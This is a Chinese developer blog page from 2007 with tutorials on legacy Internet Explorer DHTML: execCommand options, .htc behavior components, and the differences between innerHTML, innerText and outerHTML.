BackColor;document.execCommand("BackColor","false",sColor);设置背景颜色;ie4.0

BlockDirLTR;none;使块级元素排版方式为从左到右?;不支持

BlockDirRTL;none;使块级元素排版方式为从右到左?;不支持 Bold;document.execCommand("Bold","false",null);使选中区域的文字加粗;ie4.0

BrowseMode;none;设置浏览器模式?;不支持 Copy;

document.execCommand("Copy","false",null);复制选中的文字到剪贴板;ie4.0 CreateBookmark;document.execCommand("CreateBookmark","false",sAnchorName);设置指定锚点为书签;ie4.0

CreateLink;document.execCommand("CreateLink","false",sLinkURL);将选中文本变成超连接,若第二个参数为true,会出现参数设置对话框;ie4.0

Cut;document.execCommand("Cut","false",null);剪贴选中的文字到剪贴板;ie4.0

Delete;document.execCommand("Delete","false",null);删除选中的文字;ie4.0

DirLTR;none;排版方式为从左到右?;不支持 DirRTL;none;排版方式为从右到左?;不支持

EditMode;none;设置编辑模式?;不支持

FontName;document.execCommand("FontName","false",sFontName);改变选中区域的字体;ie4.0

FontSize;document.execCommand("FontSize","false",sSize|iSize);改变选中区域的字体大小;ie4.0

ForeColor;document.execCommand("ForeColor","false",sColor);设置前景颜色;ie4.0

FormatBlock;document.execCommand("FormatBlock","false",sTagName);设置当前块的标签名;ie4.0

55.可以在TEXTAREA中实现在光标处用脚本来加入文本吗?

<form>

<textarea cols="50"></textarea>

<br/>

<textarea cols="50"></textarea>

<br/>

<textarea cols="50"></textarea>

<br/>

<input type=button value="paste" onclick=paste()>

<input type="reset" name="Reset" value="Reset">

<script language=JavaScript>

var lastElement=null;

function BlurText()

{

lastElement=event.srcElement;

}

for(var i in document.all)

{

var Element=document.all[i];

if(Element.tagName=="TEXTAREA")

// if(Element.type=="text")

Element.onblur=BlurText;

}

function paste()

{

lastElement.focus();

document.execCommand("paste");

}

</script>

</form>
56.什么是.htc?

作者:沈欣  出处:china.com

在微软IE 5.0版本的浏览器发布以前,网页编程中面对的最大挑战就是不能轻易地创建组件,以达到代码重用和多页面共享的目的。这个问题一直困扰着DHTML(动态 HEML)的网页编程者。他们只能不断地重复书写HTML、CSS和JAVASCRIPT的代码,以满足多个页面上的重复或相似的功能。自IE 5.0浏览器发布后,这种情况得到了改善,它带给我们一个新的指令组合方法,可把实现特定功能的代码封装在一个组件内,从而实现多页面的代码重用,使网页编程进入一个全新的天地。这个新的技术就是我们要谈到的DHTML中的“行为”(Behaviors)。

  “行为”作为一个简单易用的组件,它封装了页面上特定的功能或动作。当把一个“行为”附到WEB页面中的一个元件上时,这个元件的原有行为就会有所改变。因此,网页编程者可以开发通用的DHTML指令,并改变原有对象的一些属性,用“行为”来增强一个对象的功能,同时也简化了页面的HTML代码。而且“行为”的创建和使用也非常简单方便,所需的知识也只是原来已经习惯使用的CSS样式表、HTML指令和JAVASCRIPT脚本语言。只要你对此有所了解,有过实际编程的经历,学习并掌握“行为”的使用完全没有问题。我们将以一个改变字体效果的“行为”组件为例来说明如何编写和使用一个“行为”,并体验“行为”给页面编辑带来的优点和方便之处。

  首先新建一个名为font_efftce.htc的文本文件,组成“行为”组件的文件都是以.htc为扩展名,这个文件中的内容就是我们对这个“行为”的描述。它的创建和使用步骤如下:

(1)首先给这个“行为”增加几个事件响应,语句书写格式如下:

< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >

< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >

< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >

< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >

  “EVENT”对应所需事件名,在这里分别为:onmouseover,onmouseout,onmousedown,onmouseup四个事件名,你当然可以再增加其它的事件名来满足你的特定需求。“ONEVENT”对应着个自的事件句柄,即事件触发时所调用的函数名称。glowit()函数使字体周围产生一个红色的辉光。noglow()函数是消除字体的辉光效果。Font2yellow()函数是把字体颜色改为黄色。Font2blue()函数是把字体颜色改为蓝色。四个事件的定义都是相似的。

(2)接下来,再给这个“行为”增加二个“方法”定义,内容如下。

< PUBLIC:METHOD NAME="move_down" / >

< PUBLIC:METHOD NAME="move_right" / >

  “NAME”参数对应的是给定的“方法”名称。move_down和move_right分别是向下和向右移动的“方法”对应的函数名称。注意,在方法名的后面不要带“( )”括号,即不要写成“move_down()”这个样子,这在“方法”定义的语法上是不允许的。

(3)接下来的工作就是在我们熟悉的DHTML环境下,用JAVASCRIPT脚本语句编写“事件句柄”和“方法”所对应的函数内容,实现预期的效果。具体内容参考下面的源程序。其中的“element”参数指的是这个“行为”所附着的对象,因为“行为”总是被附着到页面的元件上面,并通过这个元件发挥作用。其它语句都是DHTML的编程内容,就不再多说了。如有不明之处,可参考微软的MSDN开发文档中有关IE浏览器的内容,上面有详细的DHTML编程参考内容、属性和方法使用说明等,并包含了大量的文章和举例程序。经常访问微软的MSDN文档,尤其对于初学者来说是一个良好的学习习惯,你几乎可以得到任何你想找的答案,它的网址为:http://msdn.microsoft.com/ie/。

  完整的“行为”文档“font_effect.htc”的内容如下:

////////////////////////////“行为”文档开始///////////////////////////////////

//给“行为”增加四个鼠标事件

< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >

< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >

< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >

< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >

//给“行为”定义二个方法

< PUBLIC:METHOD NAME="move_down" / >

< PUBLIC:METHOD NAME="move_right" / >

< SCRIPT LANGUAGE="JScript" >

//定义一个保存字体颜色的变量

var font_color;

//定义向下移动文字的方法

function move_down()

{

element.style.posTop+=2;

}

//定义向右移动文字的方法

function move_right()

{

element.style.posLeft +=6;

}

//定义鼠标onmouseup事件的调用函数

function font2blue(){

if (event.srcElement == element)

{

element.style.color='blue';

}

}

//定义鼠标onmousedown事件的调用函数

function font2yellow(){

if (event.srcElement == element)

{

element.style.color='yellow';

}

}

//定义鼠标onmouseover事件的调用函数

function glowit()

{

if (event.srcElement == element)

{

font_color=style.color;

element.style.color='white';

element.style.filter="glow(color=red,strength=2)";

}

}

//定义鼠标onmouseout事件的调用函数

function noglow()

{

if (event.srcElement == element)

{

element.style.filter="";

element.style.color=font_color;

}

}

< /SCRIPT >

//////////////////“行为”文档结束///////////////////////////////

(4)如何在一个页面上使用“行为”

  在页面上使用“行为”组件,并不需要学习新的知识。所需的知识的也不过是CSS样式表和HTML的设置而已,请看下面的语句。

< STYLE >

.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}

< /STYLE >

  可以看出,这和以前我们已经熟知的样式表设置完全相同。上面的语句定义了一个样式名:“myfilter”,其中对我们来说比较新的内容是:“behavior:url(font_effect.htc);”,“behavior”是新增的“行为”属性名,这就是“行为”在样式表中的设置方式。括号中的内容是“行为”文档的文件名,本例中表明“行为”文档在与页面文件在同一个目录下,如果“行为”文档安置在其它目录下,在此参数的前面要加上相应的路径名,以保证可以正确地定位“行为”文档的位置。此“样式”中的其它内容就是普通的样式属性设置,可根据你的需要增减,但在此例中,由于使用了“glow”滤镜效果,至少要设置一个宽度(width)属性。通过以上的样式指定,我们就有了一个名为:“myfilter”的样式,它附带一个有字体变化效果的“行为”。如果你想要在一个页面元件上使用这个附带“行为”的样式,同样也很简单,只要把这个“样式名”安置在元件的属性设置区域即可,见下面的语句。

< span id="myspan" class='myfilter' >行为产生的文字效果< /span >< br >

< span class='myfilter' >鼠标指向后产生辉光< /span >

  以上语句里面没有什么新的内容,class='myfilter'就是我们所熟悉的样式设置。在第一个“span”标记的属性中还定义了一个“id”标记,稍后就会看到,这是用来演示调用“行为”内的“方法”而设置的。这样设置后,“span”元件中的内容就可以显示出“行为”组件内的预定效果:
1. 鼠标指针移动到文字内容上时,在文字周围产生红色的辉光效果,同时文字变成白色。

2. 当鼠标按钮按下时,文字颜色改变为黄色。

3. 鼠标按钮抬起后,文字颜色又改变为蓝色。

4. 当鼠标指针移动到文字区域以外时,去掉了红色辉光效果,文字恢复原样。

  另外,我们在定义“行为”时设置了二个“方法”,“move_down”和“move_right”。为调用这二个“方法”,定义了二个按钮:

< button onclick="myspan.move_right();" >向右移动第一行文字< /button >< br >

< button onclick="myspan.move_down();" >向下移动第一行文字< /button >

  用按钮的onclick事件去调用这二个“方法”,先前定义的“id”标记就作为元件的对象名称,用“myspan.move_down”来调用“方法”,操纵这个对象。可以看到,在按下相应的按钮后,会使第一行的文字产生向下或向右的移动。虽然只是用第一行文字做了示范,实际上,只要做相应的设置,你也可以移动其它对象。页面源文档的完整内内容如下:

< html >

< HEAD >

< TITLE >行为效果演示< /TITLE >

< STYLE >

.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}

< /STYLE >

< /HEAD >

< BODY >

< span id="myspan" class='myfilter' >行为产生的文字效果< /span >< br >

< span class='myfilter' >鼠标指向后产生辉光< /span >< br >

< span class='myfilter' >同时文字变白< /span >< br >

< span class='myfilter' >按下鼠标后文字变黄< /span >< br >

< span class='myfilter' >抬起鼠标后文字变蓝< /span >< br >

< span class='myfilter' >鼠标离开后文字恢复原状< /span >< br >

< button onclick="myspan.move_right();" >向右移动第一行文字< /button >< br >

< button onclick="myspan.move_down();" >向下移动第一行文字< /button >

< /BODY >

< /html >

  通过以上的简单介绍,可以看出,我们很容易地在一个“行为”中同时组合了多种文字变化效果,通过简单的“样式”设置,任意地将它与页面元件相关连,体现了“行为”组件的优点和强大功能。一个“行为”组件,不仅能在一个页面内重复使用,也可供同一站点上的所有页面使用。试想一下,如果不使用“行为”来完成上述的效果,虽然可以在页面内调用一组预定的函数来完成同样的功能,但页面内每一个使用文字效果的元件都要附加四个鼠标事件,如果在多个页面内使用相同的效果,被调用的函数也需要在每一个页面内重复设置。相比之下,孰优孰劣是很明显的。所以,使用“行为”组件,可以制作出简洁、高效、通用和便于维护的页面。本文的举例只是为了说明“行为”组件的编写和使用过程,使读者对“行为”编程有一个概括的了解,并以此基础制作出自己所需要的“行为”组件,或直接引用满足个人需要的现成“行为”组件,因为“组件共享”的概念也是“行为”开发者的初衷。最后,愿本文能起到“抛砖引玉”的目的,使读者步入精彩的DHTML网页编程天地。

说明:

HTC是HTML component的缩写,

是IE5.0的主要扩展之一,

除了具备一般组件的可重用优点之外,

还具有易于开发使用等优点,

因为需要引入外部文件,这里就不举例了,宝库里有例子.

控件和组件

HTC提供了一个简单机制以在脚本中实现DHTML行为。一个HTC文件和HTML文件没有任何差别,并且以“.htc”为后缀,

可以使用HTC实现以下行为:

设定属性和方法。通过“PROPERTY”和“METHOD”元素定义

设置自定义事件。通过“EVENT”元素实现,用该元素的“fire()”方法释放事件,

通过“createEventObject()”方法设置事件环境。

访问所包含该HTC的的HTML页的DHTML对象模型,使用HTC的“element"对象,返回

一个附加行为的元素,使用该对象,HTC可以访问包含文挡及它的对象模型(属性、方法、事件)。

收取通知,使用”ATTACH“元素实现,浏览器不但通知HTC标准的DHTML事件,而且通知HTC两种特殊事件:oncontentready事件和ondocumentready事件 。

定义标记和命名空间

HTC的基础是自定义标记

要为页面定义自定义标记,必须为该标记提供命名空间

要使用该标记必须在该标记前加上正确的XML命名空间前缀

例如:

定义一个新标记RIGHT的例子

<HTML XMLNSOCJS>

<HEAD>

<STYLE>

@media all {

DOCJSRIGHT {text-align:right; width:100}

}

</STYLE>

</HEAD>

<BODY>

<DOCJS:RIGHT>

Read Doc JavaScript's columns, tips, tools, and tutorials

</DOCJS:RIGHT>

</BODY>

</HTML>

可以在单个HTML标记

中定义多个命名空间:

<HTML XMLNSOCJS XMLNSOCJAVASCRIPT>

组件定义

组件的名字是由HTC文档里定义在第一行的XML命名空间决定的

该页不用调用其他的HTC话,就只有一个命名空间定义

实际上,HTML组件的定义就是自定义标签行为的定义

该行为包括一个属性和一个事件:

<HTML xmlns:MyTag>

<HEAD>

<PUBLIC:COMPONENT tagName="MyTag">

<PROPERTY NAME="value"></PROPERTY>

<ATTACH EVENT="oncontentready" ONEVENT="fnInit()"<>/ATTACH>

</PUBLIC:COMPONENT>

<STYLE>//为组件定义样式表

.cssMyTag{

}

</STYLE>

<SCRIPT language=JavaScript>

function MyTagBehavior1(){} //为组件定义方法

</SCRIPT>

</HEAD>

<BODY onclick=MyTagBehavior1> //为组件定义响应事件

</BODY>

</HTML>

其中的oncontentready是在组件被调用者完全导入时触发

再看看fnInit()

function fnInit() {

document.body.innerHTML = element.value;//设定组件显示内容

document.body.className = "clsMyTag"; //设定显示样式表,

defaults.viewLink = document; //使本组件对其他文档可见

element.aProperty = element.value; //设置组件的属性值

}

组件的调用

<HTML xmlns:MyCom>

<HEAD>

<?IMPORT NAMESPACE="MyCom" IMPLEMENTATION="MyTag.htc"/>

</HEAD>

<BODY>

<MyCom:MyTag></MyCom:MyTag>

</BODY>

</html>

57.如何把页面加入用户的收藏夹?

<a href="javascript:window.external.AddFavorite('http://www.bihu.net','织梦乱弹')">收藏</a>

posted @ 2007-05-11 14:26 牛宝雷 阅读(454) | 评论 (0) | 编辑 收藏
 
js中innerHTML与innerText的用法与区别

用法:

<div id="test">
   <span style="color:red">test1</span> test2
</div>

在JS中可以使用:

test.innerHTML:

  也就是从对象的起始位置到终止位置的全部内容,包括Html标签。

  上例中的test.innerHTML的值也就是“<span style="color:red">test1</span> test2 ”。

test.innerText: 

  从起始位置到终止位置的内容, 但它去除Html标签 

  上例中的text.innerTest的值也就是“test1 test2”, 其中span标签去除了。

test.outerHTML:

  除了包含innerHTML的全部内容外, 还包含对象标签本身。

  上例中的text.outerHTML的值也就是<div id="test"><span style="color:red">test1</span> test2</div>


完整示例:

<div id="test">
   <span style="color:red">test1</span> test2
</div>

<a href="javascript:alert(test.innerHTML)">innerHTML内容</a>
<a href="javascript:alert(test.innerText)">inerHTML内容</a>
<a href="javascript:alert(test.outerHTML)">outerHTML内容</a>

特别说明:

  innerHTML是符合W3C标准的属性,而innerText只适用于IE浏览器,因此,尽可能地去使用innerHTML,而少用innerText,如果要输出不含HTML标签的内容,可以使用innerHTML取得包含HTML标签的内容后,再用正则表达式去除HTML标签,下面是一个简单的符合W3C标准的示例:

<a href="javascript:alert(document.getElementById('test').innerHTML.replace(/<.+?>/gim,''))">无HTML,符合W3C标准</a>

posted @ 2007-05-10 12:09 牛宝雷 阅读(230) | 评论 (0) | 编辑 收藏
 
 
<2007年5月>
日一二三四五六
293012345
6789101112
13141516171819
20212223242526
272829303112
3456789

 导航

  • BlogJava
  • 首页
  • 发新随笔
  • 发新文章
  • 联系
  • 聚合
  • 管理

 统计

  • 随笔: 30
  • 文章: 6
  • 评论: 50
  • 引用: 0

常用链接

  • 我的随笔
  • 我的评论
  • 我的参与
  • 最新评论

留言簿(4)

  • 给我留言
  • 查看公开留言
  • 查看私人留言

随笔档案

  • 2008年2月 (1)
  • 2007年12月 (1)
  • 2007年11月 (1)
  • 2007年9月 (3)
  • 2007年7月 (2)
  • 2007年6月 (3)
  • 2007年5月 (8)
  • 2007年4月 (7)
  • 2007年3月 (4)

文章档案

  • 2007年7月 (1)
  • 2007年3月 (5)

搜索

  •  

最新评论

  • 1. re: spring AOP的事务管理[未登录]
  • dsasd
  • --dd
  • 2. re: Eclipse 中CheckStyle安装和使用指南
  • 07年的中企员工啊,前辈~
  • --xiao瓶盖1121
  • 3. re: tomcat 和 jboss的热部署(热发布)问题
  • @songguanjun
    确实不可用
  • --lin
  • 4. re: java.lang.String中,match()的用法,即String.match(String pattern)[未登录]
  • 评论内容较长,点击标题查看
  • --匿名
  • 5. re: Eclipse 中CheckStyle安装和使用指南
  • 我们可以利用CheckStyle可以方便的对于编码的Code Conventions进行检查,同时,也有效地减少了Code Review的工作,使得开发人员的精力更多的集中到逻辑和性能检查。
  • --gucci outlet

阅读排行榜

  • 1. java.lang.String中,match()的用法,即String.match(String pattern)(27579)
  • 2. JAVA 处理时间 - java.sql.Date、java.util.Date与数据库中的Date字段的转换方法[转](20532)
  • 3. Eclipse 中CheckStyle安装和使用指南(8558)
  • 4. java jxl导出excel文件(8523)
  • 5. 存储过程生成临时表用从临时表中取数据(5352)

评论排行榜

  • 1. hibernate自定义生成主健(8)
  • 2. java.lang.String中,match()的用法,即String.match(String pattern)(7)
  • 3. 存储过程生成临时表用从临时表中取数据(4)
  • 4. [DWR(Ajax)]DWR使用笔记(4)
  • 5. eclipse的远程调试(jboss+tomcat),已成功(3)

Powered by: 博客园
模板提供:沪江博客
Copyright ©2025 牛宝雷